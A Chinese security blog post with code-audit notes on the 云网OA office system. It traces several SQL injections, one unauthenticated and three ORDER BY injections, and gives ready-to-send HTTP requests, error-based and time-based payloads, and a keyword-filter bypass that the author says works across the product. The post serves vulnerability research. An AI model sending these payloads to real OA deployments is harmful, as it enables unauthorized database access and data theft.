当前位置:首页 > 代码审计 > Java > 正文内容

【学习】某OA代码审计笔记

UzJu4年前 (2022-08-16)Java2759

环境搭建

Windows搭建

推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署

一键安装,安装好了之后会提示系统已经到期了,去setup看一眼

到6月1号,不过没事,这里改系统时间就可以了


成功登录

idea搭建

云网OA
首先照着这里的设置,设置完了之后,导入数据库,导入之后需要改链接配置
yimioa/c-core/src/main/resources/application.properties
修改mysql连接的信息,然后启动就行
image-20220802123332386
不过idea启动,BUG多,而且报错多,这里是idea静态看代码

代码审计

前台

1、【前台】<6.1版本未授权SQL注入


通过apikit的接口fuzz找到了一个可以未授权请求的接口,在代码中找到对应实现方法
前提:这个洞有个条件,就是需要小于6.1的版本,具体为什么直接上代码src/main/java/com/cloudweb/oa/controller/ApplicationController.java

上边的不需要管,具体注意下面的if(isValid)

首先是从配置里边获取版本

获取到版本6.1,然后就开始版本判断了

判断是否小于3

判断是否小于4

判断是否小于5

判断是否等于6

那么在这里利用的条件就是,版本需要在<=6的版本才可以成功
故此改一下版本

还需要再改一个位置,需要将数据库的版本也更改了,不然登录的时候会提示版本不一致,数据库与配置文件版本判断类在src/main/java/com/cloudweb/oa/service/LoginService.java


在数据库中的oa_sys_ver表中更改version字段的值即可

改完之后重启一下tomcat,随后请求指定的接口,不需要登录

POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

发现这里的返回,会提示SQL语句报错

这里直接用extractvalueuser带出来

POC

and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+

HTTP

POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

后台

1、【后台】人事-人事信息-orderbyGET参数SQL注入


POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137

page=1&limit=20&realname_cond=0&realname=test18&sex=&sex_cond=1&dept=&dept_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=

SQL注入Bypass(通杀该OA所有注入点)

上面的注入payload如下

id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

这里环境是idea起的,但是idea有很多报错,很多功能都无法使用,我就换成了Windows一键部署

搭建好了之后,用idea远程调试

再尝试复现这个漏洞的时候,会提示XSS拦截


当时就很好奇,为什么这是XSS拦截了,不是SQL拦截呢?看一下代码

具体的检测逻辑在SecurityUtil.java中的filter方法,来具体看这里的代码逻辑

简单说一下这里的主要就是获取request参数的值,然后挨个传给下面的检测逻辑

既然刚刚提示XSS攻击,就直接跟入antixss这个方法中查看具体实现逻辑
接下来就会来到Antixss.Java

src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java


调了antiXSS方法传入需要检测的html和一个true

直接跟进去看

查看antiXSS方法,这里传入了content就是需要检测的内容

这里就是具体的检测逻辑了,但是我这里只看了stripScriptTag方法,因为是这个方法里面的内容检测到了,我们的关注点也只在是什么参数被检测到了

主要是通过正则的方式,并且因为CASE
INSENSITIVE的关系,不区分大小写

拉到下面的时候可以看到,其实是and或者sleep被过滤了,新建一个test类,调一下就知道了

去掉AND

语句正常,放回and去掉sleep,语句正常,那么既然这样,把and换成&&,即可

语句正常返回,那么这里返回之后

回到SecurityUtil.java,就会进入SQL注入的逻辑,跟入isValidSqlParam方法

跟入sql_inj方法

and的检测我们已经绕过了,需要绕过第二个框中的代码逻辑

这里主要的逻辑是将inj_str使用|分开,会生成一个列表给到inj_stra[],随后就是遍历该列表,每次循环都会使用indexOf方法判断在inj_stra[i]中的值是否在str中,也就是如果indexOf返回>0的值就存在,反之则不存在,这里也可以写个类调一下


在第六次循环也就是select的时候,被检测到了,那么很明显需要绕过select
这里本来想尝试用

&& extractvalue(1,concat('~',database()))

可惜的是'~'会被检测到XSS,所以这个方法不行

这里的&&需要转成url编码,不然这个请求会报400

所以只能在select这个关键字上想想办法,这里给出绕过的payload

id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)


Tips:这里光看截图可能会认为那里可以用SELECT大写绕过,其实在调用sql_inj方法前就会转成小写

所以是没有办法大写去绕过的

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

函数实现入口



首先会获取get参数code,如果code参数为空,那么就获取Get参数moduleCode并赋值给code,如果在get参数中没有moduleCode,则获取formCode复制给code,这里传进来的code参数为personbasic

继续往下看

这里是OA开发者自己实现的SQLBuilder类


跟入这个方法

跟如getModuleListSqlAndUrlStr方法,然后会返回一个sql str,继续往下走就是造成SQL注入的地方

跟进这个listResult方法

随后会把语句拼在中间

随后执行executeQuery语句

在这里也会执行一次SQL语句,与上面的区别是,一个是count拼接后的,一个是原始传进来的

随后就是返回,这里执行的时候,需要等待5秒,所以造成了注入

2、【后台】/oa/visual/exportExcel.do接口orderby注入Bypass

漏洞复现

GET /oa/visual/exportExcel.do?code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)&op=1&sort=desc&isMine=true HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=339C404636300F5F43B74EC828919D11; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl

bypass poc

%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)

代码审计与函数实现

没有找到对应的web功能点,这里是直接看的静态代码接口审计

orderby,这里的参数,再往下看,因为上面人事功能点那个GET注入已经知道了getModuleListSqlAndUrlStr方法,所以往下面看,直接orderby传进去了

所以造成了SQL注入,如果不是bypass的话,就不会存在问题了,毕竟已经把filter方法绕过了。

3、【后台】/oa/visual/exportWord.do接口orderby注入Bypass

还是静态审计看的代码,不知道功能点

漏洞复现

GET /oa/visual/exportWord.do?code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a) HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.16.140.186:8088/oa/lte/index.do?mainTitle=&mainPage=
Cookie: JSESSIONID=A8C9C04D3DEC6CE1C9E64CF061659723; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Upgrade-Insecure-Requests: 1
Content-Length: 2

bypass poc

id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)

代码审计与函数实现

src/main/java/com/cloudweb/oa/controller/ModuleController.java

public void exportWord(HttpServletResponse response) throws IOException, ErrMsgException, JSONException


一眼望去,看到只需要保证ary==null即可

构造参数的时候不构造ids这个GET参数即可

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/71.html

分享给朋友:

相关文章

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

环境搭建Github地址: GitHub - s6056826/luckwheel: 国产开源幸运大转盘管理系统,积分,倍率,奖品兑换CSDN介绍地址: 开源大转盘抽奖源码,带后台管理,可管理奖品和奖品中奖概率,java语言实现飞吧菜鸟了的...

JSP后门分析

JSP后门分析

环境部署首先启动一个tomcat的环境先把这里的代码跑起来,访问tomcat在docker中的tomcat/conf中可以看到账号密码将JSP打包为war包 jar -cvf 1.war 1.jsp 随后上传就部署好了 静态代码分析大...

洞态IAST检测优化:Fel表达式注入

洞态IAST检测优化:Fel表达式注入

一、简介 Fel是开放的,引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数),所有这些函数都是可以替换的,扩展函数也非常简单。 Fel有双引擎,同时支持解释执行和编译执行。可以根据...

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

漏洞描述泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileV...

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE基本信息 Gitee地址:https://gitee.com/bestfeng/oa_git_free部署文档:http://partner.yimihome...